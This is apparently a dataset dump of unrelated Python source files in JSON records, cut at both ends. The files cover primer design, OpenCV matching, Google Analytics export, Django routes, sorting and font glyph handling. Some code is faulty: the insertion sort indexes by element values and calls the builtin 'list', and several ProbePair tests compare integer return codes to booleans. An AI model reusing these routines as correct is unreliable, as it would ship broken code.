= pb_a\n self.b = pb_b\n if pb_a.mt is not None and pb_b.mt is not None:\n self.met_diff = round(fabs(pb_a.mt - pb_b.mt), 3)\n else:\n self.met_diff = 0\n self.amplicons = dict()\n self.mean_amp_len = None\n self.inter_energy = None\n self.a_fscore = None\n self.b_fscore = None\n return\n\n def are_candidates(self, targets, min_targets_frac, min_amp_size, max_amp_size, na, mg, prim_con, temp, dghm_threshold):\n \"\"\"Check the two Probes are candidates to be Primers\n\n Args:\n -----\n targets: List\n List of targets sequences to be amplified\n\n min_target_frac: Float\n Minimum fraction of targets that the two Probes must\n detect in order to be consired Primers\n\n min_amp_size: Integer\n Amplicons generated by the two probes must be of length\n greater or equal to this value\n\n max_amp_size: Integer\n Amplicons generated by the two probes must be of length\n less or equal to this value\n na: Float\n Na concentration in Molar\n\n mg: Float\n Mg concentration in Molar\n\n prim_con: Float\n Primer concentration in Molar\n\n temp: Float\n Operation temperature in C\n\n dghm_threshold: Float\n Gibbs free energy for Probes interaction in kcal/mol.\n Pairs of probes with Gibbs free energy below\n dghm_threshold will be discarded\n\n Returns:\n --------\n Integer: 0 if this Pair of probes is suitable for Primers, -1 if the\n Pair doesn't meet the minimum target fraction, -2 if the\n amplicons the Pair generates are weird and -3 if the Probes\n are able to interact one each other\n\n \"\"\"\n sp_a = self.a.get_hits_list()\n sp_b = self.b.get_hits_list()\n detected_seqs = self.__shared_elems__(sp_a, sp_b)\n targets_detected = self.__shared_elems__(detected_seqs, targets)\n tgt_frac = len(targets_detected) / len(targets)\n if tgt_frac < min_targets_frac:\n return -1\n else:\n if self.def_amplicons(min_amp_size, max_amp_size) == 1:\n return -2\n if self.can_interact(na, mg, prim_con, temp, dghm_threshold):\n return -3\n self.get_fscores(targets)\n return 0\n\n def def_amplicons(self, min_len, max_len):\n \"\"\"Defines the amplicons the Pairs is able to generate\n\n Args:\n -----\n min_len: Integer\n Minium length allowed for amplicons\n max_len: Integer\n Maximum length allowed for amplicons\n Return:\n Void\n\n List: (seq_id, [start, end])\n The amplicons generated are assigned to the amplicons parameter\n of this class\n\n Notes:\n ------\n This function uses the alignment info of each Probe to determine the\n amplicons. For each target sequence, generates a list of coordinates,\n of the type [start, end], indicating the start and the end positions\n of a given amplicon generated by the Probes in the target id. The info\n is stored in the class parameter amplicons, in the form\n amplicons[seq_id] = [[start, end], ..]\n \"\"\"\n sp_a = self.a.get_hits_list()\n sp_b = self.b.get_hits_list()\n detected_seqs = self.__shared_elems__(sp_a, sp_b)\n for seq_id in detected_seqs:\n amps = []\n algs_a = self.a.get_alignments(seq_id, by_strand=True)\n algs_b = self.b.get_alignments(seq_id, by_strand=True)\n combs = [[algs_a[0], algs_b[1]], [algs_b[0], algs_a[1]]]\n for i in range(0, 2):\n pos_aligns = combs[i][0]\n neg_aligns = combs[i][1]\n for pos in pos_aligns:\n for neg in neg_aligns:\n if pos[0] < neg[0] and pos[1] < neg[0]:\n tmp_amp = (\n pos[0], neg[1])\n if i == 0:\n tmp_amp = (\n pos[0], neg[1])\n else:\n tmp_amp = (\n pos[0], neg[1])\n amps.append(tmp_amp)\n\n ampl_len = [ x[1] - x[0] + 1 for x in amps ]\n if len(amps) != 1 or not min_len <= ampl_len[0] <= max_len:\n return 1\n self.amplicons[seq_id] = amps\n\n amp_values = self.amplicons.values()\n amp_len_sum = sum([ x[0][1] - x[0][0] + 1 for x in amp_values ])\n mean_amp_len = amp_len_sum / len(self.amplicons)\n self.mean_amp_len = round(mean_amp_len, 3)\n return 0\n\n def can_interact(self, na, mg, prim_con, temp, energy_threshold):\n \"\"\"Determines if the Probes are able to interact one each other\n\n Args:\n -----\n na: Float\n Molar Na concentration\n\n mg: Float\n Molar Mg concentration\n\n prim_con: Float\n Molar primer concentration\n\n temp: Float\n Temperature in C\n\n energy_threshold: Float\n Energy threshold in kcal/mol to say the Probes are\n interacting\n\n Return:\n -------\n Boolean: True if the Probes have an interaction energy below the\n threshold, False other way\n Notes:\n To say the Probes are interacting, the free Gibbs energy for hetero\n dimer formation is measured\n \"\"\"\n thermo_model = DNAThermoModel()\n self.inter_energy = thermo_model.calc_heterodimer(str(self.a.seq), str(self.b.seq), na, mg, prim_con, temp)\n self.inter_energy = round(self.inter_energy, 3)\n if self.inter_energy < energy_threshold:\n return True\n else:\n return False\n\n def get_fscores(self, targets):\n \"\"\"Measures the FScore for each probe\n\n Args:\n -----\n targets: List\n List of target sequences to be amplified\n\n Return:\n -------\n [Float, Float]: A list with the fscore values [fscore_a, f_score_b]\n \"\"\"\n self.a_fscore = self.__get_ind_fscore(self.a, targets)\n self.b_fscore = self.__get_ind_fscore(self.b, targets)\n return (self.a_fscore, self.b_fscore)\n\n def __get_ind_fscore(self, probe, targets):\n \"\"\"Get the Fscore for a given Probe\n Args:\n -----\n pb : Probe class\n Probe to be evaluated\n targets : List\n ids of targets sequences\n Return:\n -------\n Float: Fscore value\n \"\"\"\n sp = probe.get_hits_list()\n inter = len(self.__shared_elems__(sp, targets))\n pp = inter / len(sp)\n rp = inter / len(targets)\n v1 = 1 / pp + 1 / rp\n v2 = v1 * 0.5\n fscore = 1 / v2\n return round(fscore, 3)\n\n def __shared_elems__(self, list_a, list_b):\n \"\"\"obtains the shared elements of two lists\n Args:\n -----\n list_a: List\n List of elemnts a\n list_b: List\n List of elements b\n Return:\n -------\n List: list of shared elements\n \"\"\"\n return list(set(list_a) & set(list_b))\n\n def to_string(self):\n \"\"\"Transform a ProbePair class into String\n Return:\n -------\n String: representation of the class in String form\n \"\"\"\n res = '%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s' % (self.id,\n self.a.id,\n self.b.id,\n str(self.met_diff),\n str(self.inter_energy),\n str(self.a_fscore),\n str(self.b_fscore),\n self.a.seq,\n self.b.seq)\n return res\n\n\nclass ProbePairUnittest(unittest.TestCase):\n \"\"\"\n unittest for ProbePair class\n \"\"\"\n\n def test_def_amplicons(self):\n from Probes import Probe\n pb1 = Probe('id1', 'ATCG')\n pb2 = Probe('id2', 'GTTA')\n pb1.add_alignment('seq1', 4, 7, '+', 1)\n pb1.add_alignment('seq2', 5, 8, '+', 0)\n pb1.add_alignment('seq3', 17, 20, '-', 1)\n pb1.add_alignment('seq4', 12, 15, '-', 2)\n pb1.add_alignment('seq5', 4, 7, '+', 1)\n pb2.add_alignment('seq1', 12, 15, '-', 1)\n pb2.add_alignment('seq2', 15, 18, '-', 0)\n pb2.add_alignment('seq3', 2, 5, '+', 1)\n pb2.add_alignment('seq4', 2, 5, '+', 2)\n pb2.add_alignment('seq4', 5, 8, '+', 2)\n pb2.add_alignment('seq5', 12, 15, '-', 1)\n pp = ProbePair('pair', pb1, pb2)\n self.assertEqual(pp.def_amplicons(10, 14), 1)\n pb1 = Probe('id1', 'ATCG')\n pb2 = Probe('id2', 'GTTA')\n pb1.add_alignment('seq1', 4, 7, '+', 1)\n pb1.add_alignment('seq2', 5, 8, '+', 0)\n pb1.add_alignment('seq5', 4, 7, '+', 1)\n pb2.add_alignment('seq1', 12, 15, '-', 1)\n pb2.add_alignment('seq2', 15, 18, '-', 0)\n pb2.add_alignment('seq5', 12, 15, '-', 1)\n pp = ProbePair('pair', pb1, pb2)\n self.assertEqual(pp.def_amplicons(10, 14), 0)\n\n def test_can_interact(self):\n from Probes import Probe\n pb1 = Probe('id1', 'ATCG')\n pb2 = Probe('id2', 'GTTA')\n pp = ProbePair('pair', pb1, pb2)\n self.assertEqual(pp.can_interact(0.05, 0, 5e-08, 37, 0.63), True)\n self.assertEqual(pp.can_interact(0.05, 0, 5e-08, 37, 0.61), False)\n\n def test_fscore(self):\n \"\"\"\n \"\"\"\n from Probes import Probe\n pb1 = Probe('id1', 'ATCG')\n pb2 = Probe('id2', 'GTTA')\n pb1.add_alignment('seq1', 4, 7, '+', 1)\n pb1.add_alignment('seq2', 5, 8, '+', 0)\n pb1.add_alignment('seq3', 17, 20, '-', 1)\n pb1.add_alignment('seq4', 12, 15, '-', 2)\n pb1.add_alignment('seq5', 4, 7, '+', 1)\n pb2.add_alignment('seq1', 12, 15, '-', 1)\n pb2.add_alignment('seq2', 15, 18, '-', 0)\n pb2.add_alignment('seq3', 2, 5, '+', 1)\n pb2.add_alignment('seq4', 2, 5, '+', 2)\n pb2.add_alignment('seq4', 5, 8, '+', 2)\n pb2.add_alignment('seq5', 12, 15, '-', 1)\n pp = ProbePair('pair', pb1, pb2)\n self.assertEqual(pp.get_fscores(['seq1', 'seq2',\n 'seq3', 'seq4', 'seq5']), (1, 1))\n self.assertEqual(pp.get_fscores(['seq1', 'seq2',\n 'seq3', 'seq4']), (0.889, 0.889))\n\n def test_are_candidates(self):\n from Probes import Probe\n targets = [\n 'seq1', 'seq2', 'seq5']\n pb1 = Probe('id1', 'ATCG')\n pb2 = Probe('id2', 'GTTA')\n pb1.add_alignment('seq1', 4, 7, '+', 1)\n pb1.add_alignment('seq2', 5, 8, '+', 0)\n pb1.add_alignment('seq5', 4, 7, '+', 1)\n pb2.add_alignment('seq1', 12, 15, '-', 1)\n pb2.add_alignment('seq2', 15, 18, '-', 0)\n pb2.add_alignment('seq5', 12, 15, '-', 1)\n pp = ProbePair('pair', pb1, pb2)\n self.assertEqual(pp.are_candidates(targets, 0.9, 10, 14, 0.05, 0, 5e-08, 37, 0.61), True)\n self.assertEqual(pp.are_candidates(targets, 0.9, 10, 14, 0.05, 0, 5e-08, 37, 0.63), False)\n pb1.add_alignment('seq3', 17, 20, '-', 1)\n pb1.add_alignment('seq4', 12, 15, '-', 2)\n pb2.add_alignment('seq3', 2, 5, '+', 1)\n pb2.add_alignment('seq4', 2, 5, '+', 2)\n pb2.add_alignment('seq4', 5, 8, '+', 2)\n self.assertEqual(pp.are_candidates(targets, 0.9, 10, 14, 0.05, 0, 5e-08, 37, 0.61), False)","sub_path":"pycfiles/genprimers-0.0.1-py2.7/ProbePair.py","file_name":"ProbePair.py","file_ext":"py","file_size_in_byte":12868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541820432","text":"import cv2 as cv\nimport numpy as np\n\n\nlena = cv.imread(\"02/lena.jpg\",0)\nlena_plate = cv.imread(\"02/face.jpg\",0)\ncv.imshow('lena',lena)\ncv.imshow('face',lena_plate)\nmethods = ['cv.TM_CCOEFF', 'cv.TM_CCOEFF_NORMED', 'cv.TM_CCORR',\n 'cv.TM_CCORR_NORMED', 'cv.TM_SQDIFF', 'cv.TM_SQDIFF_NORMED']\nheight,width = lena_plate.shape[0:2]\nfor meth in methods:\n methe = eval(meth)\n res = cv.matchTemplate(lena,lena_plate,methe)\n lena_show = lena.copy()\n main,max,minloc,maxloc = cv.minMaxLoc(res)\n if meth in ['cv.TM_SQDIFF_NORMED','cv.TM_SQDIFF']:\n left_top = minloc\n else:\n left_top = maxloc\n print(res)\n cv.rectangle(lena_show,left_top,(left_top[0]+width,left_top[1]+height),255,thickness=2)\n cv.imshow(meth,lena_show)\n cv.waitKey(0)\n cv.destroyAllWindows()\n","sub_path":"match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"98385126","text":"#-*-coding:utf-8 -*-\r\nfrom all_regions import REGIONS\r\n\r\nclass RegionProvinceMap:\r\n def __init__(self):\r\n self.region_province_map=dict()\r\n self.load_province_list(REGIONS)\r\n\r\n def load_province_region(self, province_name, sub):\r\n for obj in sub:\r\n self.region_province_map[obj['name']]=province_name\r\n if ('sub' in obj):\r\n self.load_province_region(province_name,obj['sub'])\r\n\r\n def load_province_list(self, province_list):\r\n for province in province_list:\r\n province_name = province['name']\r\n sub = province['sub']\r\n self.load_province_region(province_name, sub)\r\n\r\n def get_province(self, region_name):\r\n matched_key = [r for r in self.region_province_map if r.startswith(region_name)]\r\n if matched_key:\r\n return self.region_province_map[matched_key[0]]\r\n else:\r\n return \"Unknown\"\r\n","sub_path":"region_province_map.py","file_name":"region_province_map.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"507486368","text":"\"\"\"A simple example of how to access the Google Analytics API and store the specific data into Postgresql server.\"\"\"\n\nfrom apiclient.discovery import build\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom datetime import datetime, timedelta\nimport psycopg2\n\ndef get_service(api_name, api_version, scopes, key_file_location):\n\n credentials = ServiceAccountCredentials.from_json_keyfile_name(\n key_file_location, scopes=scopes)\n\n service = build(api_name, api_version, credentials=credentials)\n\n return service\n\ndef get_first_profile_id(service):\n # Get a list of all Google Analytics accounts for this user\n accounts = service.management().accounts().list().execute()\n\n if accounts.get('items'):\n # Choose the first Google Analytics account from all acoounts.\n account = accounts.get('items')[0].get('id')\n\n # Get a list of all the properties for the first account.\n properties = service.management().webproperties().list(\n accountId=account).execute()\n\n if properties.get('items'):\n # Get the first property id.\n property = properties.get('items')[0].get('id')\n\n # Get a list of all views (profiles) for the first property.\n profiles = service.management().profiles().list(\n accountId=account,\n webPropertyId=property).execute()\n\n if profiles.get('items'):\n return profiles.get('items')[0].get('id')\n\n return None\n\n\ndef get_results(service, profile_id):\n yesterday = datetime.strftime(datetime.now() - timedelta(1), '%Y-%m-%d')\n return service.data().ga().get(\n ids='ga:' + profile_id,\n start_date=yesterday,\n end_date='today',\n metrics='ga:sessions').execute()\n\ndef update_db(results):\n today = datetime.strftime(datetime.now() - timedelta(), '%Y%m')\n if results:\n try:\n connection = psycopg2.connect(user=\"YourDatabaseUser\",\n password=\"YourDatabaseUserPassword\",\n host=\"YourDatabaseHost\",\n port=\"5432\",\n database=\"YourDatabaseName\")\n cursor = connection.cursor()\n\n postgres_insert_query = \"\"\" INSERT INTO traffic (visitor, yearmonth) VALUES (%s, %s) \"\"\"\n record_to_insert = (results.get('rows')[0][0], today)\n cursor.execute(postgres_insert_query, record_to_insert)\n\n connection.commit()\n count = cursor.rowcount\n print(count, \"Record inserted successfully into traffic table\")\n\n except (Exception, psycopg2.Error) as error:\n if (connection):\n print(\"Failed to insert record into traffic table\", error)\n\n finally:\n # closing database connection.\n if (connection):\n cursor.close()\n connection.close()\n print(\"PostgreSQL connection is closed.\")\n\ndef print_results(results):\n if results:\n print ('View (Profile):', results.get('profileInfo').get('profileName'))\n print ('Total Sessions:', results.get('rows')[0][0])\n\n else:\n print ('No results found')\n\n\ndef main():\n # Define the authentication requirements.\n scope = 'https://www.googleapis.com/auth/analytics.readonly'\n key_file_location = 'YourKeyfileLocationFromGoogleAPIConsole'\n\n # Authenticate and construct the output.\n service = get_service(\n api_name='analytics',\n api_version='v3',\n scopes=[scope],\n key_file_location=key_file_location)\n\n profile_id = get_first_profile_id(service)\n print_results(get_results(service, profile_id))\n update_db(get_results(service, profile_id))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"197726041","text":"# -*- coding: utf-8 -*-\n# 3.0\n\n# \n\n# Trim DNA sequence and find unique sequences\n\n# \n\nimport MapReduce\nimport sys\n\nmr = MapReduce.MapReduce()\n\n# =============================\n# Do not modify above this line\n\ndef mapper(record):\n # key: the trimmed DNA sequence\n # value: the sequence id, which we'll never use \n seq = record[1][:-10] \n seq_id = record[0]\n # only send unique trimmed sequences\n mr.emit_intermediate(seq, seq_id)\n\ndef reducer(key, list_of_values):\n mr.emit(key)\n \n# Do not modify below this line\n# =============================\nif __name__ == '__main__':\n inputdata = open(sys.argv[1])\n mr.execute(inputdata, mapper, reducer)\n\n","sub_path":"assignment3/unique_trim.py","file_name":"unique_trim.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"524156965","text":"import javabridge\nimport matplotlib\nimport matplotlib.figure\nimport backend_swing\nimport numpy as np\nimport threading\n\ndef run_ui():\n frame = javabridge.JClassWrapper('javax.swing.JFrame')()\n figure = matplotlib.figure.Figure()\n ax = figure.add_axes([.05, .05, .9, .9])\n x = np.linspace(0, np.pi * 8)\n ax.plot(x, np.sin(x))\n canvas = backend_swing.FigureCanvasSwing(figure)\n frame.setContentPane(canvas.component)\n frame.setVisible(True)\n frame.setSize(640, 480)\n return frame, canvas\n\njavabridge.start_vm()\njavabridge.activate_awt()\nevent = threading.Event()\nevent_ref_id, event_ref = javabridge.create_jref(event)\ncpython = javabridge.JClassWrapper('org.cellprofiler.javabridge.CPython')()\nset_event_script = (\n 'import javabridge\\n'\n 'event = javabridge.redeem_jref(\"%s\")\\n'\n 'event.set()') % event_ref_id\nadapter = javabridge.run_script(\"\"\"\nnew java.awt.event.WindowAdapter() {\n windowClosed: function(e) {\n cpython.exec(script);\n }\n}\n\"\"\", dict(cpython=cpython, script=set_event_script))\nframe, canvas = run_ui()\nframe.addWindowListener(adapter)\nevent.wait()\njavabridge.kill_vm()\n","sub_path":"demo/canvas_demo.py","file_name":"canvas_demo.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"304752640","text":" \n\"\"\"\nSlow tests for filtering systems\n \n\"\"\"\nimport os\nimport tempfile\nimport shutil\n\nimport numpy as np\n\nfrom . import base\nfrom ..gui import mainWindow\nfrom ..system.lattice import Lattice\n\n\ndef path_to_file(path):\n return os.path.join(os.path.dirname(__file__), \"..\", \"..\", \"testing\", path)\n\n\nclass TestFilteringKennyLattice(base.UsesQApplication):\n \"\"\"\n Test filtering a system\n \n \"\"\"\n def setUp(self):\n \"\"\"\n Set up the test\n \n \"\"\"\n super(TestFilteringKennyLattice, self).setUp()\n \n # tmp dir\n self.tmpLocation = tempfile.mkdtemp(prefix=\"atomanTest\")\n \n # main window\n self.mw = mainWindow.MainWindow(None, testing=True)\n self.mw.preferences.renderingForm.maxAtomsAutoRun = 0\n self.mw.show()\n \n # copy a lattice to tmpLocation\n self.fn = os.path.join(self.tmpLocation, \"testLattice.dat\")\n shutil.copy(path_to_file(\"kenny_lattice.dat\"), self.fn)\n \n # load Lattice\n try:\n self.mw.systemsDialog.load_system_form.readerForm.openFile(self.fn)\n state = self.mw.mainToolbar.pipelineList[0].inputState\n err = False\n if not isinstance(state, Lattice):\n err = True\n elif state.NAtoms != 1140:\n err = True\n if err:\n self.fail(\"Loading Lattice failed\")\n except:\n self.fail(\"Loading Lattice failed\")\n \n def tearDown(self):\n \"\"\"\n Tidy up\n \n \"\"\"\n super(TestFilteringKennyLattice, self).tearDown()\n \n # remove refs\n self.fn = None\n self.mw.close()\n self.mw = None\n \n # remove tmp dir\n shutil.rmtree(self.tmpLocation)\n \n def test_filterAtomID(self):\n \"\"\"\n GUI: filter atom ID\n \n \"\"\"\n # add the atom ID filter\n pp = self.mw.mainToolbar.pipelineList[0]\n flist = pp.filterLists[0]\n flist.addFilter(filterName=\"Atom ID\")\n item = flist.listItems.item(0)\n item.filterSettings.lineEdit.setText(\"104,1,4-7\")\n item.filterSettings.lineEdit.editingFinished.emit()\n \n # run the filter\n pp.runAllFilterLists()\n \n # check the result\n flt = flist.filterer\n atomids = (104, 1, 4, 5, 6, 7)\n self.assertEqual(len(flt.visibleAtoms), 6)\n for i in xrange(6):\n self.assertTrue(pp.inputState.atomID[flt.visibleAtoms[i]] in atomids)\n","sub_path":"atoman/slowtests/test_filtering.py","file_name":"test_filtering.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"507393289","text":"import sys\nimport random\n\ndef main():\n f = open(sys.argv[1])\n array = [int(x) for x in f.readline().split()]\n\n print(\"Median of array\", array)\n\n median = RSelect(array, len(array), len(array)/2)\n\n print(median)\n\n\ndef RSelect(A, n, i):\n \"\"\"\n A = Array\n n = length of array\n i = order in array we're looking for\n \"\"\"\n if(n == 1):\n return A[0]\n pivot = random.randint(0, n-1)\n \n j = Partition(A, pivot)\n\n if(j == i):\n return A[j]\n elif(j > i):\n return RSelect(A[0:j], j, i)\n elif(j < i):\n return RSelect(A[j+1:n], n-j-1, i-j-1)\n \n\n\ndef Partition(A, pivot):\n temp = A[0]\n A[0] = A[pivot]\n A[pivot] = temp\n p = A[0]\n i = 1;\n\n for j in range(1, len(A)):\n if(A[j] < p):\n temp = A[j]\n A[j] = A[i]\n A[i] = temp\n i = i + 1\n\n temp = p\n A[0] = A[i-1]\n A[i-1] = temp\n\n return i-1\n\n\nmain()\n","sub_path":"findmedian.py","file_name":"findmedian.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"493061743","text":"import os\nfrom Tools.prefetch_images import fetch as prefetch_images\nfrom Scripts.Image.train_multiclass import train_ as train_img\n\ndef train_models():\n for root, dirs, files in os.walk(os.environ.get(\"JOBS_DIR\")):\n for name in files:\n if name == \"all_images.csv\":\n os.environ[\"PROJECT_ROOT\"] = \"/\".join(root.split(\"/\")[:-2])\n os.environ[\"IMG_ROOT\"] = \"/\".join(root.split(\"/\")[:-1])\n\n if not os.path.isfile(os.path.join(os.environ.get(\"IMG_ROOT\"), 'trained_model.h5')):\n print(\"Preparing to train model\", \": \".join(root.split(\"/\")[-3:-1]))\n prefetch_images(os.path.join(os.environ.get(\"IMG_ROOT\"), \"source_data/all_images.csv\"))\n train_img(\n os.path.join(os.environ.get(\"IMG_ROOT\"), \"source_data/all_images.csv\"),\n architecture=\"inception-resnet\",\n batch_size=int(os.getenv('DEFAULT_BATCH_SIZE'))\n )\n os.rename(os.path.join(os.environ.get(\"IMG_ROOT\"), 'weights_stage3.h5'), os.path.join(os.environ.get(\"IMG_ROOT\"), 'trained_model.h5'))\n\n\n else:\n print(\"Image model\", \": \".join(root.split(\"/\")[-3:-1]), \"exists, skipping training\")\n\n\n\nif __name__ == \"__main__\":\n\n print(\"USAGE\")\n print(\"train_models(): based on folders in the directory defined by the JOBS_DIR environment variable\")\n\n train_models()\n","sub_path":"Scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"503340003","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n # public site\n \n # basic pages\n path('', views.index, name='index'),\n path('home', views.index, name='home'),\n path('info', views.info_view, name='info'),\n path('normals', views.normals_view, name='normals'),\n\n # summaries\n path('summaries/monthly', views.summaries_monthly_home, name='summaries_monthly_home'),\n path('summaries/monthly///', views.summaries_monthly_view, name='summaries_monthly_view'),\n path('summaries/monthly///text', views.summaries_monthly_text, name='summaries_monthly_text'),\n path('summaries/monthly///csv', views.summaries_monthly_csv, name='summaries_monthly_csv'),\n path('summaries/monthly/submit', views.summaries_monthly_submit, name='summaries_monthly_submit'),\n\n path('summaries/annual', views.summaries_annual_home, name='summaries_annual_home'),\n path('summaries/annual/', views.summaries_annual_view, name='summaries_annual_view'),\n path('summaries/annual//text', views.summaries_annual_text, name='summaries_annual_text'),\n path('summaries/annual//table', views.summaries_annual_table, name='summaries_annual_table'),\n\n path('summaries/snowseason', views.summaries_snowseason_view, name='summaries_snowseason_view'),\n path('summaries/snowseason/', views.summaries_snowseason_season, name='summaries_snowseason_season'),\n\n path('summaries/peakfoliage', views.summaries_peakfoliage_view, name='summaries_peakfoliage_view'),\n\n path('summaries/sunsetlake', views.summaries_sunsetlake_view, name='summaries_sunsetlake_view'),\n\n path('summaries/precip', views.summaries_precip_view, name='summaries_precip_view'),\n \n]","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"149673481","text":"# -*- coding:utf-8 -*-\n\n# 插入排序\n\ndef insert_sort(lists):\n for i in lists:\n key = lists[i]\n j = i - 1\n while j > 0:\n if lists[j] > key:\n lists[j+1] = list[j]\n lists[j] = key\n j -= 1\n return lists\n\n# 冒泡排序\n\ndef bubble_sort(lists):\n count = len(lists)\n for i in range(0, count):\n for j in range(i+1,count):\n if lists[i] > lists[j]:\n lists[i], lists[j] = lists[j], lists[i]\n return lists","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"430666526","text":"import os\nfrom copy import deepcopy\nfrom fontTools.misc.py23 import basestring\nfrom fontTools.misc import transform\nfrom fontParts.base.errors import FontPartsError\nfrom fontParts.base.base import (\n BaseObject, TransformationMixin, InterpolationMixin, SelectionMixin,\n dynamicProperty, interpolate\n)\nfrom fontParts.base.image import BaseImage\nfrom fontParts.base import normalizers\nfrom fontParts.base.compatibility import GlyphCompatibilityReporter\nfrom fontParts.base.color import Color\nfrom fontParts.base.deprecated import DeprecatedGlyph, RemovedGlyph\n\n\nclass BaseGlyph(BaseObject, TransformationMixin, InterpolationMixin, SelectionMixin, DeprecatedGlyph, RemovedGlyph):\n\n \"\"\"\n Glyph object.\n \"\"\"\n\n copyAttributes = (\n \"name\",\n \"unicodes\",\n \"width\",\n \"height\",\n \"note\",\n \"markColor\",\n \"lib\"\n )\n\n def _reprContents(self):\n contents = [\n \"'%s'\" % self.name,\n ]\n if self.layer is not None:\n contents.append(\"('%s')\" % self.layer.name)\n return contents\n\n def __hash__(self):\n \"\"\"\n Allow glyph object to be used as a key\n in a dictionary.\n \n Subclasses may override this method.\n \"\"\"\n return id(self.naked())\n\n def copy(self):\n \"\"\"\n Copy the glyph into a new glyph that does not\n belong to a glyph.\n\n >>> copiedGlyph = glyph.copy()\n\n This will copy:\n\n - name\n - unicodes\n - width\n - height\n - note\n - markColor\n - lib\n - contours\n - components\n - anchors\n - guidelines\n - image\n \"\"\"\n return super(BaseGlyph, self).copy()\n\n def copyData(self, source):\n super(BaseGlyph, self).copyData(source)\n pen = self.getPointPen()\n source.drawPoints(pen)\n for sourceAnchor in source.anchors:\n self.appendAnchor(sourceAnchor.name, (sourceAnchor.x, sourceAnchor.y), sourceAnchor.color)\n for sourceGuideline in self.guidelines:\n selfGuideline = self.appendGuideline(\n (sourceGuideline.x, sourceGuideline.y),\n sourceGuideline.angle,\n sourceGuideline.name,\n sourceGuideline.color\n )\n sourceImage = source.image\n if sourceImage.data is not None:\n selfImage = self.addImage(data=sourceImage.data)\n selfImage.transformation = sourceImage.transformation\n selfImage.color = sourceImage.color\n\n # -------\n # Parents\n # -------\n\n def getParent(self):\n \"\"\"\n This is a backwards compatibility method.\n \"\"\"\n return self.font\n\n # Layer\n\n _layer = None\n\n layer = dynamicProperty(\n \"layer\",\n \"\"\"\n The glyph's parent layer.\n\n >>> layer = glyph.layer\n \"\"\"\n )\n\n def _get_layer(self):\n if self._layer is None:\n return None\n return self._layer\n\n def _set_layer(self, layer):\n self._layer = layer\n\n # Font\n\n font = dynamicProperty(\n \"font\",\n \"\"\"\n The glyph's parent font.\n\n >>> font = glyph.font\n \"\"\"\n )\n\n def _get_font(self):\n if self._layer is None:\n return None\n return self.layer.font\n\n # --------------\n # Identification\n # --------------\n\n # Name\n\n name = dynamicProperty(\n \"base_name\",\n \"\"\"\n The glyph's name.\n\n >>> glyph.name\n \"A\"\n >>> glyph.name = \"A.alt\"\n \"\"\"\n )\n\n def _get_base_name(self):\n value = self._get_name()\n if value is not None:\n value = normalizers.normalizeGlyphName(value)\n return value\n\n def _set_base_name(self, value):\n if value == self.name:\n return\n value = normalizers.normalizeGlyphName(value)\n layer = self.layer\n if layer is not None and value in layer:\n raise FontPartsError(\"A glyph with the name '%s' already exists.\" % value)\n self._set_name(value)\n\n def _get_name(self):\n \"\"\"\n Get the name of the glyph.\n This must return a unicode string.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _set_name(self, value):\n \"\"\"\n Set the name of the glyph.\n This will be a unicode string.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # Unicodes\n\n unicodes = dynamicProperty(\n \"base_unicodes\",\n \"\"\"\n The glyph's unicode values in order from most to least important.\n\n >>> glyph.unicodes\n [65]\n >>> glyph.unicodes = [65, 0x42]\n >>> glyph.unicodes = []\n\n The values in the returned list will be integers.\n When setting you may send int or hex values.\n \"\"\"\n )\n\n def _get_base_unicodes(self):\n value = self._get_unicodes()\n value = normalizers.normalizeGlyphUnicodes(value)\n value = tuple(value)\n return value\n\n def _set_base_unicodes(self, value):\n value = list(value)\n value = normalizers.normalizeGlyphUnicodes(value)\n self._set_unicodes(value)\n\n def _get_unicodes(self):\n \"\"\"\n Get the unicodes assigned to the glyph.\n This must return a list of zero or more integers.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _set_unicodes(self, value):\n \"\"\"\n Assign the unicodes to the glyph.\n This will be a list of zero or more integers.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n unicode = dynamicProperty(\n \"base_unicode\",\n \"\"\"\n The glyph's primary unicode value.\n\n >>> glyph.unicode\n 65\n >>> glyph.unicode = None\n\n The returned value will be an integer or None.\n When setting you may send int or hex values or None.\n \"\"\"\n )\n\n def _get_base_unicode(self):\n value = self._get_unicode()\n if value is not None:\n value = normalizers.normalizeGlyphUnicode(value)\n return value\n\n def _set_base_unicode(self, value):\n if value is not None:\n value = normalizers.normalizeGlyphUnicode(value)\n self._set_unicode(value)\n else:\n self._set_unicodes(())\n\n def _get_unicode(self):\n \"\"\"\n Get the primary unicode assigned to the glyph.\n This must 